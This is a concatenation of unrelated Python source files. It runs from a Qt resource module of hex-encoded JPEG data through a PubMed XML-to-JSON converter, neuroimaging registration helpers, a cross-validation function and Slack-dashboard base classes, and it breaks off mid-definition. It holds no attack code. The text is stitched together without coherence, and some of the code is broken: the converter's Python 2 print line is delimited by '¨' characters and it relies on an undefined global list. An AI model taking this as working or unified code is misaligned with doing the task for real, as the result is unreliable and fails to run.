\x64\xff\x00\x65\x5c\xc5\xfe\xab\x54\xb9\x5f\x67\x08\xff\x00\xcd\ \x6b\x07\x5a\xf1\x63\x78\x7e\xe0\x5a\x7f\x69\x47\xa9\x6a\x2c\x32\ \x9a\x7d\xbd\xa9\x92\x76\xff\x00\x80\xa3\x7c\xa3\xdd\xb0\x3d\xea\ \xe1\x49\xd4\x76\x83\xbb\xf9\xff\x00\x91\x2e\x7c\xaa\xec\xec\xc9\ \xc7\x6a\xc5\xd7\xfc\x61\xa5\x78\x6c\x2a\xde\xdd\x05\xb8\x93\xfd\ \x55\xac\x4a\x64\x9a\x53\xe8\xa8\xb9\x63\xf9\x57\x2d\x24\x7e\x3c\ \xf1\x12\x29\x9d\x6d\x74\x0b\x16\xfb\xd0\xda\xcd\xbe\xf1\xc7\xbb\ \x95\x28\x9f\x86\xe3\xee\x2b\x1f\xc4\x16\x30\xf8\x66\xd8\x59\xda\ \xe9\xc6\xc6\xe2\xe7\x2d\x71\x75\x24\xbe\x74\xd7\x00\x7f\x7a\x43\ \x96\x3c\xfa\xd7\x65\x2c\x24\x65\x35\x09\x4a\xef\xb2\x6b\xf3\xff\ \x00\x2b\xfc\x8c\xa5\x56\x56\xbc\x55\xbd\x49\x75\x1f\x14\xea\xbe\ \x28\xd5\xf4\xf1\x05\xc5\xbf\x86\x2c\x55\xdc\x34\xf3\x32\xcd\x76\ \x41\x53\xfc\x3c\xa4\x79\xe9\xc9\x63\xec\x2b\x77\xc3\xfe\x0b\xd2\ \x86\xb3\xf6\xc8\x51\xaf\xa4\xb7\x3f\x3e\xa1\x78\xfe\x74\xd3\x49\ \xe9\xbc\xf4\x55\x07\xa2\xe0\x67\xb7\x15\xe6\xdc\x01\xe9\x5d\xc7\ \xc2\xed\x6a\x5f\xb6\x4d\xa7\x3b\x16\x84\xa1\x92\x30\x7f\x84\x82\ \x33\xf9\xe7\xf4\xaf\x53\x13\x87\x74\xa8\xb7\x45\xd9\x25\xb7\x97\ \xae\xef\xe6\x61\x4e\xd2\x97\xbd\xa9\xe9\x25\x72\xb8\xc5\x79\x57\ \x85\x3f\xe2\xda\x7c\x48\xbd\xf0\x9c\xbf\xbb\xd0\xb5\xe3\x2e\xa9\ \xa2\xff\x00\x76\x29\xb3\x9b\x9b\x61\xe9\xc9\xf3\x54\x7a\x33\xfa\ \x57\xab\xe2\xb8\xdf\x8a\x9e\x0b\x9b\xc6\x7e\x17\x78\xec\x25\x5b\ \x5d\x72\xc6\x54\xbe\xd2\xee\x8f\xfc\xb1\xba\x8f\x94\x27\xfd\x96\ \xe5\x5b\xd5\x58\xd7\x8d\x85\x9c\x53\x74\xaa\x3b\x46\x7a\x3f\x27\ \xd1\xfc\x9e\xfe\x57\x5d\x4e\x8a\xd1\x76\x53\x8e\xeb\xfa\x6b\xe7\ \xf9\xd8\xe7\xbe\x1b\x37\xfc\x20\x9e\x39\xd7\xfc\x0b\x2f\xcb\x62\ \xe5\xb5\x9d\x17\x3d\x05\xbc\x8f\xfb\xf8\x47\xfd\x73\x94\x92\x07\ \xf7\x65\x5f\x4a\xf5\x3f\xc2\xbc\x3f\xc4\xfe\x20\x7f\x1a\x7c\x3c\ \xd0\xbe\x23\x68\xf6\x92\x47\xaf\xf8\x66\x66\xba\xb8\xb0\x1f\xeb\ \x42\xae\x63\xbe\xb4\x6f\x7d\xa1\xf1\xea\x51\x0d\x7b\x1e\x8d\xaa\ \xda\xeb\x9a\x55\x9e\xa1\x65\x32\xdc\x59\xdd\xc2\x93\xc3\x2a\xf2\ \x1d\x19\x41\x52\x3e\xa0\x8a\xdf\x1b\x4e\x4d\xaa\xd3\x5e\xf6\xb1\ \x97\xf8\x96\xff\x00\x7a\xb3\xbf\x57\x7e\xc6\x78\x79\x2f\x81\x6d\ \xba\xf4\x7f\xe5\xb7\xa5\x8b\xb4\x51\x8a\x31\x5e\x59\xd8\x14\x7e\ \x14\x51\x40\x07\xe1\x59\xfe\x20\xd5\x61\xd0\x74\x3d\x43\x52\xb8\ \xc0\x82\xce\xde\x4b\x89\x0f\xfb\x28\xa5\x8f\xe8\x2b\x40\xd7\x9b\ \x7e\xd1\x17\x12\x0f\x84\xba\xc6\x9d\x03\x94\xb9\xd6\x5a\x0d\x1a\ \x2d\xbc\x12\x6e\xa6\x48\x0e\x3e\x82\x46\x3f\x85\x74\xe1\xa9\x2a\ \xf5\xe1\x49\xed\x26\x97\xde\xcc\xaa\xcf\xd9\xd3\x94\xfb\x22\xcf\ \xc0\x5d\x26\x7d\x1f\xe1\x07\x85\x63\xb9\x5d\xb7\x73\xd9\x2d\xed\ \xc0\xff\x00\xa6\xb3\x93\x34\x9f\xf8\xf4\x8d\x5e\x81\xf8\x54\x56\ \xb6\xf1\xda\x5a\xc3\x04\x48\x23\x8a\x24\x08\x88\x3a\x28\x03\x00\ \x54\xb8\xa8\xaf\x55\xd7\xab\x3a\xaf\xed\x36\xfe\xf7\x71\xd3\x87\ \xb3\x84\x61\xd9\x58\x31\x8a\x28\xa2\xb1\x34\x13\xf0\xa5\xa3\x14\ \x62\x80\x0a\x3b\xd1\x8a\x28\x00\xc7\xd2\x8a\x4f\xc0\x51\x40\x0b\ \x45\x14\x77\xa0\x03\x14\x94\xb4\x50\x01\x45\x14\x50\x02\x62\x8a\ \x05\x19\xa0\x00\xf5\x14\xb4\x87\xaf\xd2\x81\x40\x0b\x46\x28\x26\ \x83\x40\x09\x45\x2e\x78\xa2\x80\x1a\xc7\x03\xdf\xb5\x34\x8e\x8b\ \xf9\xd2\x9e\x64\xc7\xa0\xcd\x11\x9c\x82\xdd\xf3\x40\x0e\xc5\x2e\ \x28\xa3\xbd\x00\x66\xeb\xda\x73\x6a\x36\x25\x13\xfd\x62\x9d\xea\ \x3d\x4f\xa5\x70\x37\x31\x49\x04\xa5\x24\x46\x47\x1c\x6d\x61\x8a\ \xf4\xfe\xb5\x46\xf1\x47\xf6\x95\x96\x40\x39\xdf\xfc\xab\xb2\x86\ \x21\xd2\x5c\xb6\xba\x32\x9c\x6f\xa9\xcc\x78\x5b\x44\x9a\x4b\xc4\ \xbc\x99\x0a\x43\x1e\x76\xee\x18\x2c\x71\xfc\xab\xb5\xa0\x0a\x09\ \xac\x6a\xd5\x75\x65\xcc\xcb\x8c\x54\x51\x0d\xed\x8d\xbe\xa3\x6c\ \xf6\xf7\x50\x47\x71\x03\x8c\x34\x72\xa8\x65\x61\xe8\x41\xe2\xb9\ \x57\xf0\x55\xde\x82\x7c\xcf\x0c\xea\x4d\x63\x18\xe7\xfb\x3a\xef\ \x33\x5a\x9f\x65\x04\xee\x8f\xfe\x02\x71\xfe\xcd\x76\x06\x97\x14\ \xa1\x56\x74\xf4\x8b\xd3\xb7\x4f\xb8\x52\x82\x96\xac\xe4\x22\xf1\ \xe7\xf6\x64\x8b\x07\x88\xec\x5f\x44\x94\x9d\xa2\xe8\xb7\x99\x68\ \xe7\xda\x51\xf7\x7e\x8e\x14\xd7\x59\x0c\xd1\xdc\x46\xb2\x46\xeb\ \x24\x6c\x32\xac\xa7\x20\x8f\x63\x49\x34\x29\x71\x13\x24\x88\xae\ \x8c\x30\xca\xc3\x20\x8f\x43\x5c\x1f\x89\x3c\x3a\xbe\x10\xd3\x6e\ \xf5\x4f\x0f\x5c\xc9\xa4\xc9\x10\x32\x35\xa2\x7c\xf6\xb2\x1e\xf9\ \x88\xf0\xbf\x54\x2a\x6b\x58\xc6\x9d\x69\x28\xaf\x75\xbf\x9a\xff\ \x00\x35\xf8\xfc\x88\x6e\x54\xd5\xde\xab\xf1\xfe\xbe\xe3\xbc\x9e\ \x68\xed\xe2\x69\x25\x75\x8d\x14\x65\x99\x8e\x00\x1f\x5a\xc2\x6d\ \x62\xf3\x5a\x25\x34\x98\xc2\x41\xd0\xdf\x4e\xa7\x67\xfc\x01\x7a\ \xb7\xd7\x81\xf5\xae\x4f\xe1\x7f\x88\x1f\xe2\x5e\x9b\x26\xa5\xab\ \xc2\x1a\x58\x25\x28\xb0\x2b\x7e\xe0\x10\x7a\x84\xf5\xfa\x93\x5e\ \x96\x80\x28\xc0\x00\x0c\x51\x56\x9f\xd5\xa6\xe9\xcd\x5e\x4b\xee\ \xff\x00\x82\x11\x97\xb5\x8a\x92\xd8\xcb\xd3\xfc\x39\x6d\x68\xcd\ \x34\xa5\xaf\x2e\xdc\x61\xee\x2e\x3e\x66\x23\xd0\x76\x03\xd8\x54\ \x7a\x53\x1b\x0b\xa9\x34\xb9\x4e\xe4\x51\xbe\xdd\x9b\xba\x77\x5f\ \xaa\xe7\x1f\x4c\x56\xd5\x63\xf8\x92\x3c\x58\x3d\xd2\x1d\x93\xda\ \x7e\xfa\x37\x1e\xa0\x72\x3e\x84\x71\x59\xa9\x39\xbb\x49\xee\x53\ \x4a\x2a\xe8\xd0\x64\x68\x06\x50\xe5\x7a\xed\x63\xfc\x8d\x72\x37\ \xf7\xa6\x0f\x87\xba\x9c\xe8\x71\x71\x73\x14\xcc\xa0\xf5\xdd\x21\ \x21\x7f\xf4\x21\x5d\x0e\xa7\x76\xc3\xc3\xf7\x37\x2a\x36\xb7\xd9\ \x99\xc0\xcf\x43\xb4\x9a\xc2\xf1\x4d\xb2\x2f\x87\xb4\x4b\x3c\x7e\ \xee\x4b\xdb\x38\x89\x1d\x76\x87\x53\xff\x00\xb2\xd6\xb4\x16\xa9\ \x4b\xba\xfc\x08\xa9\xb3\xb7\x63\x63\x51\xf0\xdc\x1a\x86\x89\x05\ \x91\x66\x89\xed\xd5\x7c\x89\xd3\xef\x44\xea\x30\xac\x3f\xcf\x23\ \x8a\xa5\xe1\xed\x4a\x4b\xb7\x9e\xc6\xeb\x16\x7a\xc5\xae\x3c\xe4\ \x4f\xb9\x28\xed\x22\x8e\xea\x7f\x43\x91\x5b\xb0\x4c\xc2\x5f\x25\ \xbe\x6c\x0c\x86\xac\x2f\x1c\x59\x79\x7a\x73\x6b\x16\xef\xe4\x6a\ \x1a\x72\x34\xd1\x4a\x06\x77\x28\x19\x68\xd8\x77\x56\x03\xf9\x1a\ \x9a\x72\xe6\x7e\xce\x5d\x76\x7e\x7f\xe4\xfa\xfd\xe5\x49\x72\xfb\ \xc8\xdc\x17\x12\x40\x3f\x7d\x1e\x47\xf7\xe3\x19\x1f\x97\x5a\x0c\ \x88\xf3\xc5\x22\x30\x65\x60\x54\x90\x7f\x1a\x87\x4d\xd4\x8d\xf6\ \x8d\x6b\x7a\x63\xd8\x66\x85\x65\xd9\x9c\xe3\x20\x1c\x67\xf1\xae\ \x0d\xb5\x7b\xcf\x1a\xeb\xda\x9e\x9b\x0c\xed\xa3\x5b\x58\x15\xf3\ \x1e\xd7\x99\xa7\xcf\xfb\x47\x85\x1f\x40\x4f\xb8\xa7\x4e\x8b\xa8\ \xe5\x7d\x12\xdf\xf2\x14\xa6\xa3\x6e\xb7\x27\xf1\xdf\x86\xfc\x2b\ \xe2\x2d\x40\xa5\xc6\x98\x35\x2d\x60\x00\x1b\xec\xd2\x18\x8a\x8e\ \xde\x6b\x82\x00\x1f\xef\x64\xfa\x0a\xc1\xf8\x79\xe1\x2b\x3d\x0b\ \x56\xd4\x74\x9b\xbb\x64\xba\x9d\x58\x5d\xdb\x45\x17\x10\xbc\x24\ \xf1\xb8\x9e\x64\x28\xd9\x5c\xb6\x7b\x10\x06\x6b\xd0\xf4\x2d\x16\ \xc7\x49\x7f\xb1\xc3\x6c\x98\x4f\x9b\x79\xe4\x93\xea\x73\xdf\xde\ \xb3\x7e\x22\x0f\xec\xa8\xf4\xcd\x76\x0f\x96\xee\xc2\xea\x38\xc0\ \x1d\x24\x8e\x57\x54\x74\x3e\xc7\x20\xfd\x54\x57\x7d\x2c\x4c\xdc\ \x7e\xab\x19\x3e\x57\xb5\xdf\x5e\x9e\x9d\xbe\x66\x12\x82\xfe\x2b\ \xdd\x0f\xd6\x7c\x19\x65\xac\xc8\x25\xd4\x2c\xed\xd5\x01\xc8\x92\ \x15\xc4\xd1\xfb\x89\x06\x08\xfc\x2a\x84\x9e\x0f\xd5\xf4\xfb\x82\ \x74\x4d\x71\xee\x94\x75\x87\x59\x4f\xb4\x28\xf6\x59\x06\x1c\x7e\ \x6d\x5d\xad\xec\xac\x91\xa2\xae\x01\x76\xdb\x9f\x4a\x8a\xce\x35\ \xb3\x9f\xec\xc9\xfe\xaf\x6e\xe1\x9e\xa2\xb8\xa3\x89\xa9\x18\xda\ \xfa\x76\xdd\x7e\x26\xce\x94\x5b\x3c\xef\x5e\xbe\xb9\xb1\x46\x93\ \x54\xd0\x2e\xb4\x9b\xcc\x6c\x5d\x47\x4a\x22\xee\x07\xc7\x4f\x31\ \x40\x0c\x47\xb1\x5f\xa1\xab\x1e\x18\xf1\x2e\x85\x33\x46\x2e\xa5\ \xb4\x9d\x94\x85\xfb\x6c\x12\xef\x84\xb7\xfb\x6a\x4e\x62\x3e\xce\ \x31\xef\x5d\xd1\x1f\x68\xd5\x98\x37\x48\x10\x15\x1e\xed\x9e\x7f\ \x21\x58\x9e\x2c\xf0\x66\x83\xae\xa7\x99\x7d\xa5\xc3\x35\xc3\x7c\ \xa2\xe1\x33\x1c\xa3\xfe\x06\xb8\x6f\xd6\xba\x23\x5e\x9c\x92\xa7\ \x34\xd5\xfb\x3f\xf3\xff\x00\x3b\x79\x19\x38\x4d\x3e\x68\x3f\xbf\ \xfa\xfd\x0e\x86\x57\x59\x25\x84\x2b\x02\x9f\x7f\x23\xa6\x3b\x7f\ \x3a\x53\x7b\xbc\xed\x81\x0c\xa7\xfb\xc3\x85\x1f\x8f\xf8\x57\x88\ \xf8\xc2\xc7\x57\xf8\x2b\xa0\xdd\xeb\x9a\x4e\xb9\x36\xa7\xa5\x5a\ \xed\xdd\xa3\x6a\xd1\xf9\xc9\x83\xff\x00\x3c\xe4\x05\x59\x3f\x1d\ \xc3\xda\xbd\x0f\xe1\x5f\xc4\x06\xf8\x8b\xe1\x98\xf5\x46\xb0\x5b\ \x02\x70\x0c\x4b\x2f\x98\x3f\x3c\x0a\x9a\xd8\x29\x53\xa3\xf5\x8a\ \x6f\x9a\x17\xb5\xf6\xd7\x7b\x34\xf5\xfb\xae\xbc\xc7\x0a\xea\x53\ \xf6\x72\x56\x96\xe7\x47\x78\xde\x44\x2d\x2d\xd4\x85\x97\xa0\x8e\ \x3e\x01\x3d\x87\xa9\x34\xba\x6d\x89\x8d\x8d\xc4\xca\x04\xec\x30\ \x14\x74\x8d\x7f\xba\x3f\xad\x43\x6b\xfe\x9f\xa8\x4d\x2c\x9d\x2d\ \xe4\x31\xc6\x9d\x81\xee\xdf\x5a\xd0\xb9\x9c\xc2\x80\x80\x09\x63\ \x8e\x6b\x85\xb6\x97\x29\xd2\xb5\xd4\xe7\x74\x1d\x90\x6a\x9e\x26\ \xb1\x72\x02\x0b\xb1\x32\x83\xfd\xd9\x22\x53\xff\x00\xa1\x06\xab\ \xfe\x1a\x69\x67\xd1\x2d\x90\x9d\xa2\x20\x62\x62\x3a\x92\xa4\xaf\ \xe1\xd2\xb3\xad\x23\x10\x7c\x41\xbc\x19\xdc\x67\xd3\xa1\x76\x27\ \xd5\x64\x90\x0c\x7e\x07\xf4\xad\x2f\x0f\xb1\x49\x35\x48\x87\xdd\ \x8e\xed\xc8\xff\x00\x81\x05\x63\xfa\xb1\xae\x8a\xbb\x3f\x48\xbf\ \xc2\xc6\x50\xdf\xef\x26\xd5\xae\xbf\xb3\xad\x95\x2d\xd4\x35\xd4\ \xcd\xe5\xc4\xa7\xbb\x1e\xe7\xd8\x75\x3f\x4a\x21\xd0\x6d\x96\xc1\ \x2d\xe4\x1e\x61\x5f\x98\xca\x78\x62\xe7\x92\xd9\xea\x0e\x6a\xb6\ \x98\x3f\xb4\x35\x9b\xdb\x99\x79\x36\xcf\xf6\x78\x97\xb2\x8c\x02\ \xc7\xea\x73\xfa\x56\xde\x78\xac\x24\xdc\x2c\x96\xfb\x96\xbd\xed\ \x59\x90\x4d\xf6\x94\x79\xdd\x7f\x6a\x3b\xff\x00\xcb\x54\x1f\xfb\ \x37\xf3\xab\xf6\x57\xf0\x5f\xc7\xbe\x09\x03\xaf\x43\xea\x0f\xa1\ \x1d\xaa\xc3\x57\x3b\xe2\xd3\x16\x93\xa5\x5e\x6a\xd1\x23\x2d\xd5\ \xbc\x65\xc3\x44\xdb\x4b\xe3\xb1\xe0\x82\x3e\xa0\xd1\x1f\xde\x49\ \x47\xab\x07\xee\x2b\xf4\x3a\x2c\x81\x5c\xde\xab\xe3\xbb\x0b\x2b\ \xb7\xb1\xb2\x49\x75\x8d\x4d\x78\x36\x76\x0b\xbd\x94\xff\x00\xb6\ \xd9\xda\x83\xfd\xe2\x2b\x8c\xf0\x1e\xa1\xa8\x7c\x57\xd3\x4d\xf6\ \xaf\x7b\x25\xb5\x90\x3b\x46\x9f\x60\x4c\x2a\xe3\xfe\x9a\x38\x3b\ \xdb\xe8\x0a\x8f\x6a\xf4\xad\x27\x48\xb2\xd1\x6d\x16\xda\xc2\xd6\ \x2b\x4b\x75\xe9\x1c\x48\x14\x7d\x78\xef\xef\x5d\x15\x29\x47\x0d\ \x37\x4e\xae\xb2\x5d\x16\xdf\x7f\xf9\x7d\xe4\x46\x6e\xaa\xe6\x86\ \x88\xe7\x0e\x8f\xe2\x2f\x13\x73\xaa\xdf\x7f\x62\x59\xb7\xfc\xb8\ \xe9\x8f\x99\x98\x7a\x3c\xe4\x71\xf4\x40\x3f\xde\x35\xbd\xa2\x78\ \x6f\x4d\xf0\xed\xb9\x87\x4e\xb4\x8e\xd5\x58\xe5\xca\x8f\x99\xcf\ \xab\x31\xe5\x8f\xb9\x35\xa7\x49\x9e\xf5\x84\xaa\xca\x4b\x97\x65\ \xd9\x6d\xff\x00\x07\xe7\x76\x5a\x82\x4e\xfb\xb0\xed\x5c\x8f\xc4\ \x2f\x0d\xcd\xac\x5a\x45\x71\x6a\x86\x49\xe0\xce\x50\x75\x65\x3d\ \x71\xef\xc5\x75\xfd\x05\x27\x5a\x54\xaa\xca\x8c\xd4\xe3\xba\x2a\ \x49\x49\x59\x9f\x3e\xcc\x92\x23\xf9\x65\x19\x64\xce\x36\x95\xc1\ \xcf\xd2\xbd\x17\xe1\xb7\x85\xae\x34\xf6\x97\x51\xbb\x8c\xc2\xf2\ \x26\xc8\xa3\x61\x83\xb7\x20\x92\x47\x6e\x82\xba\x7d\x42\x35\x3a\ \xf6\x94\x76\x8c\xe2\x53\x9c\x7f\xb2\x3f\xc6\xb5\xc7\x15\xe9\xe2\ \x31\xf2\xab\x4f\x91\x2b\x5f\x7f\xbc\xc2\x14\x94\x5d\xef\xb0\x52\ \x62\x97\x34\x99\xaf\x1c\xe9\x3c\x96\xf9\x07\xc3\x1f\x8a\xcb\x39\ \x01\x3c\x31\xe3\x29\x04\x13\x83\xf7\x2d\xf5\x30\xb8\x46\xc7\x61\ \x32\x2e\xd3\xfe\xda\x2f\xf7\xaa\x5f\x84\x52\x9f\x06\xf8\x87\x5f\ \xf8\x7b\x31\x22\x1d\x39\xff\x00\xb4\x74\x62\xc7\xef\x69\xf3\x31\ \x3b\x07\xfd\x72\x93\x7a\x7d\x36\x57\x67\xf1\x0b\xc2\x36\x7e\x3a\ \xf0\x86\xa7\xa3\x5f\x16\x48\xae\x62\x21\x26\x8f\xef\xc3\x20\xf9\ \x92\x45\x3d\x99\x58\x2b\x0f\x71\x5e\x25\x27\x8c\x2f\x75\x8f\x00\ \x7c\x2d\xf8\x91\x30\x45\xd7\xe0\xbf\x87\x4d\xb8\x29\xc2\xdc\xc3\ \x71\x28\xb6\x99\x4f\xa0\x2c\x12\x50\x39\xc3\x28\x1e\xf5\xf4\x54\ \x7f\xda\xe8\x72\xbd\xdd\xa2\xff\x00\xc4\x93\x74\xdf\xcd\x27\x07\ \xd9\x6b\xb9\xe5\xd4\xfd\xc5\x4b\xad\x96\xbf\x2d\x39\x97\xe4\xcf\ \xa4\x28\xa6\xa9\xc2\xd3\xb3\x5f\x3a\x7a\x82\x52\xd1\x9a\x4c\xf1\ \x40\x0b\xda\xbc\xc3\xe2\xab\x0d\x67\xc7\x7f\x0c\xf4\x0c\x65\x64\ \xd5\xe5\xd5\x66\x03\xfe\x79\xda\xdb\xb9\x5f\xfc\x8b\x24\x35\xe9\ \xfd\xab\xcb\x5c\xfd\xbf\xf6\x94\x54\x90\x64\x69\x9e\x16\xdf\x0f\ \xb3\x5c\x5d\x90\xe7\xeb\x8b\x64\x1f\x89\xae\xfc\x17\xbb\x39\x54\ \xfe\x58\xc9\xfe\x0d\x2f\xc5\xa3\x9b\x11\xac\x54\x7b\xb5\xf9\xdc\ \xf5\x11\xd2\x97\x14\x9d\x07\xe1\x4a\x4d\x70\x1d\x21\x49\x8a\x33\ \x45\x00\x14\xb4\x9d\x85\x2d\x00\x14\x51\x45\x00\x26\x28\xa5\x14\ \x50\x07\xff\xd9\ " qt_resource_name = b"\ \x00\x09\ \x0c\x78\x54\x88\ \x00\x6e\ \x00\x65\x00\x77\x00\x50\x00\x72\x00\x65\x00\x66\x00\x69\x00\x78\ \x00\x0a\ \x0a\x5c\x85\x47\ \x00\x42\ \x00\x47\x00\x2d\x00\x46\x00\x42\x00\x31\x00\x2e\x00\x6a\x00\x70\x00\x67\ " qt_resource_struct_v1 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\ \x00\x00\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ " qt_resource_struct_v2 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ \x00\x00\x01\x79\xcd\xea\x60\x80\ " qt_version = [int(v) for v in QtCore.qVersion().split('.')] if qt_version < [5, 8, 0]: rcc_version = 1 qt_resource_struct = qt_resource_struct_v1 else: rcc_version = 2 qt_resource_struct = qt_resource_struct_v2 def qInitResources(): QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) qInitResources() ecohealthalliance/grits_scripts0 # Script for converting PubMED XML file into # JSON from lxml import objectify, etree import json import xmltodict import csv import re def generateFileList(): # Populate a list structure with files to be # converted # Read file holding names of files to be # converted f = open("list_of_files.csv", "r") files = csv.reader(f) for row in files: file_name = row[0] # Add to list structure only if it ends with ".nxml" # extension if file_name[-5:] == ".nxml": file_list.append(file_name) return file_list def convertToJson(file_list): # Convert XML file to JSON # Iterating through all file names in file list for file_name in file_list: try: # Read all data from file in string format f = open(file_name, "r") text = f.read() # Convert string data into XML obj root = objectify.fromstring(text) obj_xml = etree.tostring(root) # Convert the XML obj into JSON obj obj_dict = xmltodict.parse(obj_xml) obj_json = json.dumps(obj_dict, indent=4) # Write JSON obj to file. Stripping the complete filepath # to extract file name and replacing ".nxml" extension # with ".json" new_file_name = "json/" + \ re.sub("[\d\D]+/", "", file_name[:-5]) + ".json" f_out = open(new_file_name, "w") f_out.write(obj_json) f_out.close() f.close() except: # If file could be not be found, print file name. ( For debugging ) print file_name + ¨ not found. Skipping ! ¨ continue if __name__ == "__main__": file_list = generateFileList() convertToJson(file_list) # coding: utf8 def ants_registration_syn_quick(fix_image, moving_image): import os import os.path as op image_warped = op.abspath('SyN_QuickWarped.nii.gz') affine_matrix = op.abspath('SyN_Quick0GenericAffine.mat') warp = op.abspath('SyN_Quick1Warp.nii.gz') inverse_warped = op.abspath('SyN_QuickInverseWarped.nii.gz') inverse_warp = op.abspath('SyN_Quick1InverseWarp.nii.gz') cmd = 'antsRegistrationSyNQuick.sh -t br -d 3 -f %s -m %s -o SyN_Quick' \ % (fix_image, moving_image) os.system(cmd) return image_warped, affine_matrix, warp, inverse_warped, inverse_warp def ants_combine_transform(in_file, transforms_list, reference): import os import os.path as op out_warp = op.abspath('out_warp.nii.gz') transforms = "" for trans in transforms_list: transforms += " " + trans cmd = 'antsApplyTransforms -o [out_warp.nii.gz,1] -i %s -r %s -t %s' \ % (in_file, reference, transforms) os.system(cmd) return out_warp def dwi_container_from_filename(bids_dwi_filename): """ Generate subjects/sub-/ses- folder from BIDS filename. """ import re from os.path import join m = re.search(r'(sub-[a-zA-Z0-9]+)_(ses-[a-zA-Z0-9]+)_', bids_dwi_filename) if m is None: raise ValueError( 'Input filename is not in a BIDS or CAPS compliant format. ' + 'It does not contain the subject and session information.') subject = m.group(1) session = m.group(2) return join('subjects', subject, session) def rename_into_caps(in_bids_dwi, fname_dwi, fname_bval, fname_bvec, fname_brainmask): """ Rename the outputs of the pipelines into CAPS format namely: _space-T1w_preproc[.nii.gz|bval|bvec] Args: in_bids_dwi (str): Input BIDS DWI to extract the fname_dwi (str): Preprocessed DWI file. fname_bval (str): Preprocessed bval. fname_bvec (str): Preprocessed bvec. fname_brainmask (str): B0 mask. Returns: The different outputs in CAPS format """ from nipype.utils.filemanip import split_filename from nipype.interfaces.utility import Rename import os # Extract in format sub-CLNC01_ses-M00[_acq-label]_dwi _, source_file_dwi, _ = split_filename(in_bids_dwi) # Extract base path from fname: base_dir_dwi, _, _ = split_filename(fname_dwi) base_dir_bval, _, _ = split_filename(fname_bval) base_dir_bvec, _, _ = split_filename(fname_bvec) base_dir_brainmask, _, _ = split_filename(fname_brainmask) # Rename into CAPS DWI: rename_dwi = Rename() rename_dwi.inputs.in_file = fname_dwi rename_dwi.inputs.format_string = source_file_dwi + "_space-T1w_preproc.nii.gz" out_caps_dwi = rename_dwi.run() # Rename into CAPS bval: rename_bval = Rename() rename_bval.inputs.in_file = fname_bval rename_bval.inputs.format_string = source_file_dwi + "_space-T1w_preproc.bval" out_caps_bval = rename_bval.run() # Rename into CAPS bvec: rename_bvec = Rename() rename_bvec.inputs.in_file = fname_bvec rename_bvec.inputs.format_string = source_file_dwi + "_space-T1w_preproc.bvec" out_caps_bvec = rename_bvec.run() # Rename into CAPS DWI: rename_brainmask = Rename() rename_brainmask.inputs.in_file = fname_brainmask rename_brainmask.inputs.format_string = source_file_dwi + "_space-T1w_brainmask.nii.gz" out_caps_brainmask = rename_brainmask.run() return out_caps_dwi.outputs.out_file, out_caps_bval.outputs.out_file, \ out_caps_bvec.outputs.out_file, out_caps_brainmask.outputs.out_file def print_begin_pipeline(in_bids_or_caps_file): """ """ from clinica.utils.stream import cprint import re import datetime from colorama import Fore m = re.search(r'(sub-[a-zA-Z0-9]+)_(ses-[a-zA-Z0-9]+)', in_bids_or_caps_file) if m is None: raise ValueError( 'Input filename is not in a BIDS or CAPS compliant format.') now = datetime.datetime.now().strftime('%H:%M:%S') cprint('%s[%s]%s Running pipeline for %s...' % ( Fore.BLUE, now, Fore.RESET, m.group(0))) def print_end_pipeline(in_bids_or_caps_file, final_file): """ """ from clinica.utils.stream import cprint import re import datetime from colorama import Fore m = re.search(r'(sub-[a-zA-Z0-9]+)_(ses-[a-zA-Z0-9]+)', in_bids_or_caps_file) if m is None: raise ValueError( 'Input filename is not in a BIDS or CAPS compliant format.') now = datetime.datetime.now().strftime('%H:%M:%S') cprint('%s[%s]%s ...%s has completed.' % ( Fore.GREEN, now, Fore.RESET, m.group(0))) nocotan/IGIWERM from sklearn.model_selection import StratifiedKFold def iw_cross_validation(clf, metric, inputs, targets, sample_weight, n_splits=20, random_state=100): skf = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=random_state) losses = [] for fold, (train_idx, test_idx) in enumerate(skf.split(inputs, targets)): X_train, X_test = inputs[train_idx], inputs[test_idx] y_train, y_test = targets[train_idx], targets[test_idx] clf.fit(X_train, y_train) loss = metric(clf.predict(X_test) * sample_weight, y_test * sample_weight) losses.append(loss) return losses FlyingTopHat/Slack-Dashboard1-10 from abc import ABC, abstractmethod from enum import Enum from pkg_resources import iter_entry_points class NamedComponent(ABC): def __init__(self): self._name = "" @property def name(self): return self._name @name.setter def name(self, name): self._name = name class ComponentCreator(ABC): """ A factory that is inherited by components that create a component from a dashboard file. """ def __init__(self): pass @staticmethod @abstractmethod def get_id(): """ :return: The ID for the component this factory can create """ @abstractmethod def create(self, options, secret_store): """ Creates the component from the options and secrets provided :param options: Components options :param secret_store: Storage for secrets :return: component """ class DisplayCreator(ComponentCreator): """ This specific component interface is used by the component loader to determine that the implementor creates a display """ @staticmethod @abstractmethod def get_id(): """ :return: The ID for the component this factory can create """ @abstractmethod def create(self, options, secret_store): """ Creates the component from the options and secrets provided :param options: Components options :param secret_store: Storage for secrets :return: display """ class DataFeedCreator(ComponentCreator): """ This specific component interface is used by the component loader to determine that the implementor creates a data-feed """ @staticmethod @abstractmethod def get_id(): """ :return: The ID for the component this factory can create """ @abstractmethod def create(self, options, secret_store): """ Creates the component from the options and secrets provided :param options: Components options :param secret_store: Storage for secrets :return: Data-feed """ class FilterCreator: """ This specific component interface is used by the component loader to determine that the implementor creates a filter """ @staticmethod @abstractmethod def get_id(): """ :return: The ID for the component this factory can create """ @abstractmethod def create(self, options, secret_store): """ Creates the component from the options and secrets provided :param options: Components options :param secret_store: Storage for secrets :return: filter """ class NotificationCreator: """ This specific component interface is used by the component loader to determine that the implementor creates a notification """ @staticmethod @abstractmethod def get_id(): """ :return: The ID for the component this factory can create """ @abstractmethod def create(self, options, secret_store): """ Creates the component from the options and secrets provided :param options: Components options :param secret_store: Storage for secrets :return: notification """ class ComponentCreationException(Exception): def 